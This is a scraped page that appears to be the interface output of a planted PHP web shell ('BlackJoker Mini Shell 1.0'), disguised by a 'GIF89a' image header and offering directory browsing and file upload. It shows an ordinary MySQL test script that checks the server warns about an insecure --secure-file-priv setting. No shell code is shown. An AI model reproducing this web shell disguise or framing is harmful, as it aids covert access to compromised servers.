GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/suite/auth_sec/t/
Upload File :
Current File : //usr/share/mysql-test/suite/auth_sec/t/secure_file_priv_warnings_win.test

--source include/no_valgrind_without_big.inc
--source include/windows.inc
--source include/not_embedded.inc

let server_log= $MYSQLTEST_VARDIR/log/mysqld.1.err;
let SEARCH_FILE= $server_log;

--echo #-----------------------------------------------------------------------

--echo # Test 2 : Restarting mysqld with :
--echo #          --secure-file-priv=MYSQLTEST_VARDIR/mysqld.1/Data

let $restart_file= $MYSQLTEST_VARDIR/tmp/mysqld.1.expect;
--exec echo "wait" > $restart_file
--shutdown_server
--source include/wait_until_disconnected.inc
--error 0,1
--remove_file $server_log
--exec echo "restart: --secure-file-priv=$MYSQLTEST_VARDIR/mysqld.1/Data" > $MYSQLTEST_VARDIR/tmp/mysqld.1.expect
--enable_reconnect
--source include/wait_until_connected_again.inc
--disable_reconnect
--echo # Restart completed.

--echo # Search for : Insecure configuration for --secure-file-priv: Data
--echo #              directory is accessible through --secure-file-priv.
--echo #              Consider choosing a different directory.
let SEARCH_PATTERN= Insecure configuration for --secure-file-priv: Data directory is accessible through --secure-file-priv. Consider choosing a different directory.;
--source include/search_pattern_in_file.inc

--disable_warnings
--source include/force_restart.inc
--enable_warnings

--echo #-----------------------------------------------------------------------

./BlackJoker Mini Shell 1.0